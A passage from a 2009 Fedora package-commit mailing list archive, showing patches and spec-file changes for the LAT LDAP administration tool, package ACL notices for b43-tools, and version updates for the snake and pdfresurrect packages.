-			Tooltips t = new Tooltips ();
 			string tipMsg = null;
 
 			tipMsg = String.Format ("Create a new {0}", vp.Name.ToLower());
-			newMenuToolButton.SetTooltip (t,  tipMsg, tipMsg);			
+			newMenuToolButton.TooltipText = tipMsg;
 			newMenuToolButton.Clicked += new EventHandler (viewDataTreeView.OnNewEntryActivate);
 
 			tipMsg = String.Format ("Edit the properties of a {0}", vp.Name.ToLower());
-			propertiesToolButton.SetTooltip (t,  tipMsg, tipMsg);			
+			propertiesToolButton.TooltipText = tipMsg;
 			propertiesToolButton.Clicked += new EventHandler (viewDataTreeView.OnEditActivate);
 			
 			tipMsg = String.Format ("Delete a {0} from the directory", vp.Name.ToLower());
-			deleteToolButton.SetTooltip (t,  tipMsg, tipMsg);			
+			deleteToolButton.TooltipText = tipMsg;
 			deleteToolButton.Clicked += new EventHandler (viewDataTreeView.OnDeleteActivate);
 
 			tipMsg = "Refreshes the data from the server";
-			refreshToolButton.SetTooltip (t,  tipMsg, tipMsg);			
+			refreshToolButton.TooltipText = tipMsg;
 			refreshToolButton.Clicked += new EventHandler (viewDataTreeView.OnRefreshActivate);
 
 			ToggleButtons (true);

lat-1.2.3-no-groups-crash.patch:
 AttributeEditorWidget.cs                    |    3 +++
 ConnectionManager.cs                        |    2 +-
 ViewPluginManager.cs                        |   15 ++++++++++++++-
 plugins/PosixCoreViews/NewUserViewDialog.cs |    7 ++++++-
 4 files changed, 24 insertions(+), 3 deletions(-)

--- NEW FILE lat-1.2.3-no-groups-crash.patch ---
Index: lat/ViewPluginManager.cs
===================================================================
--- lat/ViewPluginManager.cs	(revision 11)
+++ lat/ViewPluginManager.cs	(revision 14)
@@ -253,8 +253,21 @@
 			if (!di.Exists)
 				di.Create ();
 
+			DirectoryInfo dir = null;
+
+#if DEBUG
+			// Load any plugins in the plugins directory
+			// relative to the executing path.
+			// This is for debug purposes only.
+			//		-- JA 19/10/2008
+			Assembly exeAsm = Assembly.GetExecutingAssembly();
+			string runLocation = Path.GetDirectoryName(exeAsm.Location);
+			dir = new DirectoryInfo(runLocation);
+			foreach(FileInfo fi in dir.GetFiles("*.dll"))
+				LoadPluginsFromFile(fi.FullName);
+#endif
 			// Load any plugins in sys dir
-			DirectoryInfo dir = new System.IO.DirectoryInfo (Defines.SYS_PLUGIN_DIR);
+			dir = new System.IO.DirectoryInfo (Defines.SYS_PLUGIN_DIR);
 			if (dir.Exists)
 				foreach (FileInfo f in dir.GetFiles("*.dll"))
 					LoadPluginsFromFile (f.FullName);
Index: lat/ConnectionManager.cs
===================================================================
--- lat/ConnectionManager.cs	(revision 11)
+++ lat/ConnectionManager.cs	(revision 14)
@@ -94,7 +94,7 @@
 			} catch (Exception e) {
 
 				Log.Debug (e);
-				throw e;
+				throw;
 			}
 		}
 		
Index: lat/plugins/PosixCoreViews/NewUserViewDialog.cs
===================================================================
--- lat/plugins/PosixCoreViews/NewUserViewDialog.cs	(revision 11)
+++ lat/plugins/PosixCoreViews/NewUserViewDialog.cs	(revision 14)
@@ -326,6 +326,9 @@
 			if (name == null)
 				return null;
 
+			if (!_allGroups.ContainsKey(name))
+				return null;
+			
 			LdapEntry le = (LdapEntry) _allGroups [name];		
 			LdapAttribute attr = le.getAttribute ("gidNumber");
 
@@ -343,7 +346,9 @@
 				
 			if (primaryGroupComboBox.GetActiveIter (out iter)) {
 				string pg = (string) primaryGroupComboBox.Model.GetValue (iter, 0);
-				aset.Add (new LdapAttribute ("gidNumber", getGidNumber(pg)));
+				string gid = getGidNumber(pg);
+				if (gid != null)
+					aset.Add (new LdapAttribute ("gidNumber", gid));
 			}
 						
 			aset.Add (new LdapAttribute ("givenName", firstNameEntry.Text));
Index: lat/AttributeEditorWidget.cs
===================================================================
--- lat/AttributeEditorWidget.cs	(revision 11)
+++ lat/AttributeEditorWidget.cs	(revision 14)
@@ -555,6 +555,9 @@
 			foreach (string s in dlg.ObjectClasses) {
 				string[] req = conn.Data.GetRequiredAttrs (s);
 				store.AppendValues ("objectClass", s);
+
+				if (req == null)
+					continue;
 				
 				foreach (string r in req) {
 					if (allAttrs.Contains (r))

lat-1.2.3-watches.patch:
 ViewPluginManager.cs |   46 ++++++++++++++++++++++++++++------------------
 1 file changed, 28 insertions(+), 18 deletions(-)

--- NEW FILE lat-1.2.3-watches.patch ---
Index: lat/ViewPluginManager.cs
===================================================================
--- lat/ViewPluginManager.cs	(revision 9)
+++ lat/ViewPluginManager.cs	(revision 10)
@@ -273,27 +273,37 @@
 			Load ();
 
 			// Watch for any plugins to be added/removed
-			try {
-					
-				sysPluginWatch = new FileSystemWatcher (Defines.SYS_PLUGIN_DIR, "*.dll");
-				sysPluginWatch.Created += OnPluginCreated;
-				sysPluginWatch.Deleted += OnPluginDeleted;
-				sysPluginWatch.EnableRaisingEvents = true;
-			
-			} catch (Exception e) {			
-				Log.Debug ("Plugin system watch error: {0}", e);			
+			if (Directory.Exists(Defines.SYS_PLUGIN_DIR))
+			{
+				try {
+						
+					sysPluginWatch = new FileSystemWatcher (Defines.SYS_PLUGIN_DIR, "*.dll");
+					sysPluginWatch.Created += OnPluginCreated;
+					sysPluginWatch.Deleted += OnPluginDeleted;
+					sysPluginWatch.EnableRaisingEvents = true;
+				
+				} catch (Exception e) {			
+					Log.Debug ("Plugin system watch error: {0}", e);			
+				}
 			}
+			else
+				Log.Debug("Plugin system directory does not exist.");
 
-			try {
-			
-				usrPluginWatch = new FileSystemWatcher (pluginDirectory, "*.dll");
-				usrPluginWatch.Created += OnPluginCreated;
-				usrPluginWatch.Deleted += OnPluginDeleted;
-				usrPluginWatch.EnableRaisingEvents = true;
-			
-			} catch (Exception e) {			
-				Log.Debug ("Plugin user dir watch error: {0}", e);			
+			if (Directory.Exists(pluginDirectory))
+			{
+				try {
+				
+					usrPluginWatch = new FileSystemWatcher (pluginDirectory, "*.dll");
+					usrPluginWatch.Created += OnPluginCreated;
+					usrPluginWatch.Deleted += OnPluginDeleted;
+					usrPluginWatch.EnableRaisingEvents = true;
+				
+				} catch (Exception e) {			
+					Log.Debug ("Plugin user dir watch error: {0}", e);			
+				}
 			}
+			else
+				Log.Debug("Plugin user dir does not exist.");
 		}
 
 		void OnPluginCreated (object sender, FileSystemEventArgs args)


Index: lat.spec
===================================================================
RCS file: /cvs/pkgs/rpms/lat/devel/lat.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- lat.spec	26 Oct 2009 20:57:03 -0000	1.26
+++ lat.spec	28 Oct 2009 14:01:18 -0000	1.27
@@ -1,29 +1,33 @@
 Name:               lat
 Summary:            LDAP Administration Tool
 Version:            1.2.3
-Release:            9%{?dist}
+Release:            10%{?dist}
 License:            GPLv2
 Group:              Applications/Productivity
 Url:                http://sourceforge.net/projects/ldap-at/
 Source0:            http://downloads.sf.net/ldap-at/lat-%{version}.tar.gz
 Patch0:             lat-1.2.2-libdir.patch
 Patch1:             lat-1.2.3-desktop-icon-no-ext.patch
+Patch2:             lat-1.2.3-deprecated-stuff.patch
+Patch10:            lat-1.2.3-watches.patch
+Patch11:            lat-1.2.3-no-groups-crash.patch
 BuildRoot:          %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:      mono-devel >= 1.1.12.1, gnome-keyring-devel >= 0.4.2, avahi-sharp
-BuildRequires:      scrollkeeper, gettext, intltool, dbus-sharp, desktop-file-utils
-BuildRequires:      gnome-sharp-devel, gtk-sharp2-devel >= 2.8.0, dbus-sharp-devel
-Requires:           scrollkeeper, gnome-sharp
-Requires:           mono-data, gtk-sharp2, dbus-sharp, avahi-sharp, yelp
+BuildRequires:      rarian-compat, gettext, intltool, dbus-sharp, desktop-file-utils
+BuildRequires:      gnome-sharp-devel, gtk-sharp2-devel >= 2.12.0, dbus-sharp-devel
+Requires:           gnome-sharp, gtk-sharp2 >= 2.12.0, dbus-sharp
+Requires:           mono-data, avahi-sharp, yelp
 
-Requires(post):     scrollkeeper
-Requires(postun):   scrollkeeper
-
-# ausil added this without a bug reference...
+# Mono and hence lat not available on sparc64 (#531451)
 ExcludeArch:        sparc64
 
 # Debuginfo package would be empty as there are no binaries in this package
 %define debug_package %{nil}
 
+# Don't generate mono provides for private plugins
+%filter_from_provides /mono([A-Za-z-]*) = 0\.0\.0\.0/d
+%filter_setup
+
 %description
 LAT stands for LDAP Administration Tool. The tool allows you to browse
 LDAP-based directories and add/edit/delete entries contained within. It can
@@ -35,7 +39,7 @@ manage objects easily without having to 
 Summary:            Development files for building plugins for LDAP Administration Tool
 Group:              Development/Libraries
 Requires:           %{name} = %{version}-%{release}, pkgconfig
-Requires:           gtk-sharp2-devel
+Requires:           gtk-sharp2-devel >= 2.12.0
 
 %description devel
 The lat-devel package contains the files needed to build plugins for lat
@@ -50,6 +54,18 @@ The lat-devel package contains the files
 # Remove filename extension from Icon field of desktop file
 %patch1 -p1 -b .no-ext
 
+# Update some deprecated methods; port to newer GtkTooltip API
+%patch2 -p1 -b .dep
+
+# Don't add FileSystemWatcher watches on directories that don't exist -
+# upstream changeset 10
+%patch10 -p0
+
+# Fix a crash when trying to create a user while no groups (and thus no gid)
+# are available yet for this user, or when adding an object without any
+# required attributes - upstream changesets 12 and 14
+%patch11 -p0
+
 %build
 %configure --disable-dependency-tracking
 %{__make} %{_smp_mflags} appicondir=%{_datadir}/icons/hicolor/22x22/apps
@@ -60,9 +76,6 @@ The lat-devel package contains the files
         appicondir=%{_datadir}/icons/hicolor/22x22/apps \
         install
 
-# Remove scrollkeeper crud (rebuilt in %%post)
-%{__rm} -rf %{buildroot}%{_localstatedir}/scrollkeeper
-
 # Fix up desktop file
 /usr/bin/desktop-file-install \
         --vendor fedora \
@@ -78,16 +91,16 @@ The lat-devel package contains the files
 %{__rm} -rf %{buildroot}
 
 %post
-/usr/bin/scrollkeeper-update -q -o %{_datadir}/omf/%{name} || :
-/bin/touch --no-create %{_datadir}/icons/hicolor || :
-[ -x %{_bindir}/gtk-update-icon-cache ] && %{_bindir}/gtk-update-icon-cache \
-        --quiet %{_datadir}/icons/hicolor || :
+touch --no-create %{_datadir}/icons/hicolor || :
 
 %postun
-/usr/bin/scrollkeeper-update -q || :
-/bin/touch --no-create %{_datadir}/icons/hicolor || :
-[ -x %{_bindir}/gtk-update-icon-cache ] && %{_bindir}/gtk-update-icon-cache \
-        --quiet %{_datadir}/icons/hicolor || :
+if [ $1 -eq 0 ] ; then
+	touch --no-create %{_datadir}/icons/hicolor &>/dev/null
+	gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
+fi
+
+%posttrans
+gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
 
 %files -f %{name}.lang
 %defattr(-,root,root,-)
@@ -96,8 +109,6 @@ The lat-devel package contains the files
 %{_libdir}/lat/
 %{_datadir}/application-registry/lat.applications
 %{_datadir}/applications/fedora-lat.desktop
-%dir %{_datadir}/gnome/
-%dir %{_datadir}/gnome/help/
 %{_datadir}/gnome/help/lat/
 %{_datadir}/icons/hicolor/22x22/apps/lat.png
 %{_datadir}/omf/lat/
@@ -108,6 +119,18 @@ The lat-devel package contains the files
 %{_libdir}/pkgconfig/lat-plugins.pc
 
 %changelog
+* Wed Oct 28 2009 Paul Howarth <paul at city-fan.org> 1.2.3-10
+- Fix deprecation warnings and port to new GtkTooltip API
+- Build/Require gtk-sharp2 >= 2.12.0 for new GtkTooltip API
+- Add upstream patch for FileSystemWatcher watches
+- Add upstream patch for fixing crashes when adding objects
+- Update icon cache scriptlets to current best practice
+- Scrollkeeper obsoleted by rarian-compat; scriplets now redundant
+- Don't need to own directory %%{_datadir}/gnome (owned by filesystem)
+- Don't need to own directory %%{_datadir}/gnome/help (owned by yelp)
+- Don't generate mono provides for private plugins
+- Add bugzilla reference for ExcludeArch sparc64 (#531451)
+
 * Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 1.2.3-9
 - Remove Fedora 5 conditionals
 - ExcludeArch sparc64 due to missing mono support on that arch



From pkgdb at fedoraproject.org  Wed Oct 28 14:08:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 14:08:04 +0000
Subject: [pkgdb] b43-tools had acl change status
Message-ID: <20091028140804.DA4E810F894@bastion2.fedora.phx.redhat.com>

peter has set the watchbugzilla acl on b43-tools (Fedora devel) to Approved for linville

To make changes to this package see:
  /pkgdb/packages/name/b43-tools



From pkgdb at fedoraproject.org  Wed Oct 28 14:08:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 14:08:05 +0000
Subject: [pkgdb] b43-tools had acl change status
Message-ID: <20091028140805.7416710F89C@bastion2.fedora.phx.redhat.com>

peter has set the watchcommits acl on b43-tools (Fedora devel) to Approved for linville

To make changes to this package see:
  /pkgdb/packages/name/b43-tools



From pkgdb at fedoraproject.org  Wed Oct 28 14:08:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 14:08:06 +0000
Subject: [pkgdb] b43-tools had acl change status
Message-ID: <20091028140806.C389310F8A3@bastion2.fedora.phx.redhat.com>

peter has set the commit acl on b43-tools (Fedora devel) to Approved for linville

To make changes to this package see:
  /pkgdb/packages/name/b43-tools



From pkgdb at fedoraproject.org  Wed Oct 28 14:08:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 14:08:11 +0000
Subject: [pkgdb] b43-tools had acl change status
Message-ID: <20091028140811.8E5DB10F8A6@bastion2.fedora.phx.redhat.com>

peter has set the approveacls acl on b43-tools (Fedora devel) to Approved for linville

To make changes to this package see:
  /pkgdb/packages/name/b43-tools



From jlaska at fedoraproject.org  Wed Oct 28 14:11:28 2009
From: jlaska at fedoraproject.org (James Laska)
Date: Wed, 28 Oct 2009 14:11:28 +0000 (UTC)
Subject: rpms/snake/F-10 .cvsignore, 1.12, 1.13 import.log, 1.7,
	1.8 snake.spec, 1.19, 1.20 sources, 1.20, 1.21
Message-ID: <20091028141128.24E9D11C00E5@cvs1.fedora.phx.redhat.com>

Author: jlaska

Update of /cvs/pkgs/rpms/snake/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31627/F-10

Modified Files:
	.cvsignore import.log snake.spec sources 
Log Message:
Update to snake-0.11-0.19.fc12



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/snake/F-10/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	19 Jun 2009 18:41:39 -0000	1.12
+++ .cvsignore	28 Oct 2009 14:11:27 -0000	1.13
@@ -1 +1 @@
-snake-0.11-0.16.tar.bz2
+snake-0.11-0.19.tar.bz2


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/snake/F-10/import.log,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- import.log	19 Jun 2009 18:41:39 -0000	1.7
+++ import.log	28 Oct 2009 14:11:27 -0000	1.8
@@ -5,3 +5,4 @@ snake-0_11-0_11_fc10:F-10:snake-0.11-0.1
 snake-0_11-0_12_fc10:F-10:snake-0.11-0.12.fc10.src.rpm:1231192478
 snake-0_11-0_15_fc11:F-10:snake-0.11-0.15.fc11.src.rpm:1245267911
 snake-0_11-0_16_fc11:F-10:snake-0.11-0.16.fc11.src.rpm:1245436647
+snake-0_11-0_19_fc12:F-10:snake-0.11-0.19.fc12.src.rpm:1256739047


Index: snake.spec
===================================================================
RCS file: /cvs/pkgs/rpms/snake/F-10/snake.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- snake.spec	19 Jun 2009 18:41:39 -0000	1.19
+++ snake.spec	28 Oct 2009 14:11:28 -0000	1.20
@@ -4,7 +4,7 @@
 Name:           snake
 Summary:        Smart Network Automated Kickstart Environment
 Version:        0.11
-%define rel     0.16
+%define rel     0.19
 Release:        %{rel}%{?dist}
 Source0:        http://hosted.fedoraproject.org/projects/snake/SnakeReleases/%{name}-%{version}-%{rel}.tar.bz2
 License:        GPLv2+
@@ -135,6 +135,15 @@ fi
 
 
 %changelog
+* Fri Oct 26 2009 James Laska <jlaska at redhat.com> 0.11-0.19
+- Correct install.py typo, use subprocess.call to gather arguments (wwoods)
+
+* Fri Oct 23 2009 Milos Jakubicek <xjakub at fi.muni.cz> - 0.11-0.18
+- Fix FTBFS: bump release to be able to tag in new branch
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.11-0.17
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Fri Jun 19 2009 James Laska <jlaska at redhat.com> 0.11-0.16
 - Correct missing import in examples/defaults.py
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/snake/F-10/sources,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- sources	19 Jun 2009 18:41:39 -0000	1.20
+++ sources	28 Oct 2009 14:11:28 -0000	1.21
@@ -1 +1 @@
-8762196ce4b657b90178cb49b688366c  snake-0.11-0.16.tar.bz2
+058703ba20b5929092a674161dcb7a54  snake-0.11-0.19.tar.bz2



From peter at fedoraproject.org  Wed Oct 28 14:15:30 2009
From: peter at fedoraproject.org (Peter Lemenkov)
Date: Wed, 28 Oct 2009 14:15:30 +0000 (UTC)
Subject: rpms/pdfresurrect/devel .cvsignore, 1.4, 1.5 import.log, 1.3,
	1.4 pdfresurrect.spec, 1.5, 1.6 sources, 1.4, 1.5
Message-ID: <20091028141531.0297911C00E5@cvs1.fedora.phx.redhat.com>

Author: peter

Update of /cvs/pkgs/rpms/pdfresurrect/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32114/devel

Modified Files:
	.cvsignore import.log pdfresurrect.spec sources 
Log Message:
Ver. 0.8


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/pdfresurrect/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	10 Sep 2009 07:18:30 -0000	1.4
+++ .cvsignore	28 Oct 2009 14:15:30 -0000	1.5
@@ -1 +1 @@
-pdfresurrect-v0_7.tar.bz2
+pdfresurrect-v0_8.tar.bz2


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/pdfresurrect/devel/import.log,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- import.log	10 Sep 2009 07:18:31 -0000	1.3
+++ import.log	28 Oct 2009 14:15:30 -0000	1.4
@@ -1,3 +1,4 @@
 pdfresurrect-0_04-1_fc9:HEAD:pdfresurrect-0.04-1.fc9.src.rpm:1219609291
 pdfresurrect-0_6-1_fc10:HEAD:pdfresurrect-0.6-1.fc10.src.rpm:1243843648
 pdfresurrect-0_7-1_fc11:HEAD:pdfresurrect-0.7-1.fc11.src.rpm:1252567068
+pdfresurrect-0_8-1_fc11:HEAD:pdfresurrect-0.8-1.fc11.src.rpm:1256738353


Index: pdfresurrect.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pdfresurrect/devel/pdfresurrect.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- pdfresurrect.spec	10 Sep 2009 07:18:31 -0000	1.5
+++ pdfresurrect.spec	28 Oct 2009 14:15:30 -0000	1.6
@@ -1,11 +1,11 @@
 Name:		pdfresurrect
-Version:	0.7
+Version:	0.8
 Release:	1%{?dist}
 Summary:	PDF Analysis and Scrubbing Utility
 Group:		Applications/Productivity
 License:	GPLv3+
 URL:		http://www.757labs.com/projects/pdfresurrect/
-Source0:	http://www.757labs.com/projects/pdfresurrect/releases/pdfresurrect-v0_7.tar.bz2
+Source0:	http://www.757labs.com/projects/pdfresurrect/releases/pdfresurrect-v0_8.tar.bz2
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 
@@ -21,7 +21,7 @@ from previous versions that might not be
 
 
 %prep
-%setup -q -n pdfresurrect-v0_7
+%setup -q -n pdfresurrect-v0_8
 sed -i 's|@CFLAGS@|%{optflags}|' Makefile.in
 
 
@@ -48,6 +48,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct 28 2009 Peter Lemenkov <lemenkov at gmail.com> 0.8-1
+- Ver. 0.8
+
 * Thu Sep 10 2009 Peter Lemenkov <lemenkov at gmail.com> 0.7-1
 - Ver. 0.7
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/pdfresurrect/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	10 Sep 2009 07:18:31 -0000	1.4
+++ sources	28 Oct 2009 14:15:30 -0000	1.5
@@ -1 +1 @@
-aee88aeee5db8bbc2edfc368be640540  pdfresurrect-v0_7.tar.bz2
+0f5614a7323eeb38ed87fbb0f6edbab0  pdfresurrect-v0_8.tar.bz2



From peter at fedoraproject.org  Wed Oct 28 14:16:38 2009
From: peter at fedoraproject.org (Peter Lemenkov)
Date: Wed, 28 Oct 2009 14:16:38 +0000 (UTC)
Subject: rpms/pdfresurrect/F-12 .cvsignore, 1.4, 1.5 import.log, 1.3,
	1.4 pdfresurrect.spec, 1.5, 1.6 sources, 1.4, 1.5
Message-ID: <20091028141638.E6AAA11C00E5@cvs1.fedora.phx.redhat.com>

Author: peter

Update of /cvs/pkgs/rpms/pdfresurrect/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32320/F-12

Modified Files:
	.cvsignore import.log pdfresurrect.spec sources 
Log Message:
Ver. 0.8


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/pdfresurrect/F-12/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	10 Sep 2009 07:18:30 -0000	1.4
+++ .cvsignore	28 Oct 2009 14:16:38 -0000	1.5
@@ -1 +1 @@
-pdfresurrect-v0_7.tar.bz2
+pdfresurrect-v0_8.tar.bz2


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/pdfresurrect/F-12/import.log,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- import.log	10 Sep 2009 07:18:31 -0000	1.3
+++ import.log	28 Oct 2009 14:16:38 -0000	1.4
@@ -1,3 +1,4 @@
 pdfresurrect-0_04-1_fc9:HEAD:pdfresurrect-0.04-1.fc9.src.rpm:1219609291
 pdfresurrect-0_6-1_fc10:HEAD:pdfresurrect-0.6-1.fc10.src.rpm:1243843648
 pdfresurrect-0_7-1_fc11:HEAD:pdfresurrect-0.7-1.fc11.src.rpm:1252567068
+pdfresurrect-0_8-1_fc11:F-12:pdfresurrect-0.8-1.fc11.src.rpm:1256739356


Index: pdfresurrect.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pdfresurrect/F-12/pdfresurrect.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- pdfresurrect.spec	10 Sep 2009 07:18:31 -0000	1.5
+++ pdfresurrect.spec	28 Oct 2009 14:16:38 -0000	1.6
@@ -1,11 +1,11 @@
 Name:		pdfresurrect
-Version:	0.7
+Version:	0.8
 Release:	1%{?dist}
 Summary:	PDF Analysis and Scrubbing Utility
 Group:		Applications/Productivity
 License:	GPLv3+
 URL:		http://www.757labs.com/projects/pdfresurrect/
-Source0:	http://www.757labs.com/projects/pdfresurrect/releases/pdfresurrect-v0_7.tar.bz2
+Source0:	http://www.757labs.com/projects/pdfresurrect/releases/pdfresurrect-v0_8.tar.bz2
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 
@@ -21,7 +21,7 @@ from previous versions that might not be
 
 
 %prep
-%setup -q -n pdfresurrect-v0_7
+%setup -q -n pdfresurrect-v0_8
 sed -i 's|@CFLAGS@|%{optflags}|' Makefile.in
 
 
@@ -48,6 +48,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct 28 2009 Peter Lemenkov <lemenkov at gmail.com> 0.8-1
+- Ver. 0.8
+
 * Thu Sep 10 2009 Peter Lemenkov <lemenkov at gmail.com> 0.7-1
 - Ver. 0.7
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/pdfresurrect/F-12/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	10 Sep 2009 07:18:31 -0000	1.4
+++ sources	28 Oct 2009 14:16:38 -0000	1.5
@@ -1 +1 @@
-aee88aeee5db8bbc2edfc368be640540  pdfresurrect-v0_7.tar.bz2
+0f5614a7323eeb38ed87fbb0f6edbab0  pdfresurrect-v0_8.tar.bz2



From jlaska at fedoraproject.org  Wed Oct 28 14:22:22 2009
From: jlaska at fedoraproject.org (James Laska)
Date: Wed, 28 Oct 2009 14:22:22 +0000 (UTC)
Subject: rpms/snake/EL-4 .cvsignore, 1.4, 1.5 import.log, 1.1, 1.2 snake.spec,
	1.3, 1.4 sources, 1.4, 1.5
Message-ID: <20091028142222.5D6C811C00E5@cvs1.fedora.phx.redhat.com>

Author: jlaska

Update of /cvs/pkgs/rpms/snake/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1158/EL-4

Modified Files:
	.cvsignore import.log snake.spec sources 
Log Message:
Update to snake-0.11-0.19.fc12



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/snake/EL-4/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	6 Jan 2009 16:26:17 -0000	1.4
+++ .cvsignore	28 Oct 2009 14:22:22 -0000	1.5
@@ -1 +1 @@
-snake-0.11-0.12.tar.bz2
+snake-0.11-0.19.tar.bz2


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/snake/EL-4/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	6 Jan 2009 16:26:17 -0000	1.1
+++ import.log	28 Oct 2009 14:22:22 -0000	1.2
@@ -1 +1,2 @@
 snake-0_11-0_12_fc10:EL-4:snake-0.11-0.12.fc10.src.rpm:1231259161
+snake-0_11-0_19_fc12:EL-4:snake-0.11-0.19.fc12.src.rpm:1256739689


Index: snake.spec
===================================================================
RCS file: /cvs/pkgs/rpms/snake/EL-4/snake.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- snake.spec	6 Jan 2009 16:26:17 -0000	1.3
+++ snake.spec	28 Oct 2009 14:22:22 -0000	1.4
@@ -4,7 +4,7 @@
 Name:           snake
 Summary:        Smart Network Automated Kickstart Environment
 Version:        0.11
-%define rel     0.12
+%define rel     0.19
 Release:        %{rel}%{?dist}
 Source0:        http://hosted.fedoraproject.org/projects/snake/SnakeReleases/%{name}-%{version}-%{rel}.tar.bz2
 License:        GPLv2+
@@ -135,6 +135,31 @@ fi
 
 
 %changelog
+* Fri Oct 26 2009 James Laska <jlaska at redhat.com> 0.11-0.19
+- Correct install.py typo, use subprocess.call to gather arguments (wwoods)
+
+* Fri Oct 23 2009 Milos Jakubicek <xjakub at fi.muni.cz> - 0.11-0.18
+- Fix FTBFS: bump release to be able to tag in new branch
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.11-0.17
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Fri Jun 19 2009 James Laska <jlaska at redhat.com> 0.11-0.16
+- Correct missing import in examples/defaults.py
+
+* Wed Jun 17 2009 James Laska <jlaska at redhat.com> 0.11-0.15
+- ticket#67 - For F11 and newer, specify a UI method if template does not
+  provide one
+- ticket#66 - Snake will use grubby --copy-default to retain any existing
+  required boot arguments
+- Improve handling of non-anonymous FTP URL's
+
+* Mon Mar 2 2009 James Laska <jlaska at redhat.com> 0.11-0.14
+- Bump to work around previous koji tag
+
+* Mon Mar 2 2009 James Laska <jlaska at redhat.com> 0.11-0.13
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
 * Mon Jan 5 2009 James Laska <jlaska at redhat.com> 0.11-0.12
 - Minor fix to cobbler template and move %doc into base package (jlaska)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/snake/EL-4/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	6 Jan 2009 16:26:17 -0000	1.4
+++ sources	28 Oct 2009 14:22:22 -0000	1.5
@@ -1 +1 @@
-0a763da58a7f8babeccae3a6d35abff6  snake-0.11-0.12.tar.bz2
+058703ba20b5929092a674161dcb7a54  snake-0.11-0.19.tar.bz2



From peter at fedoraproject.org  Wed Oct 28 14:24:28 2009
From: peter at fedoraproject.org (Peter Lemenkov)
Date: Wed, 28 Oct 2009 14:24:28 +0000 (UTC)
Subject: rpms/pdfresurrect/F-11 .cvsignore, 1.4, 1.5 import.log, 1.3,
	1.4 pdfresurrect.spec, 1.4, 1.5 sources, 1.4, 1.5
Message-ID: <20091028142428.43EA011C00E5@cvs1.fedora.phx.redhat.com>

Author: peter

Update of /cvs/pkgs/rpms/pdfresurrect/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1521/F-11

Modified Files:
	.cvsignore import.log pdfresurrect.spec sources 
Log Message:
Ver. 0.8


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/pdfresurrect/F-11/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	10 Sep 2009 07:37:41 -0000	1.4
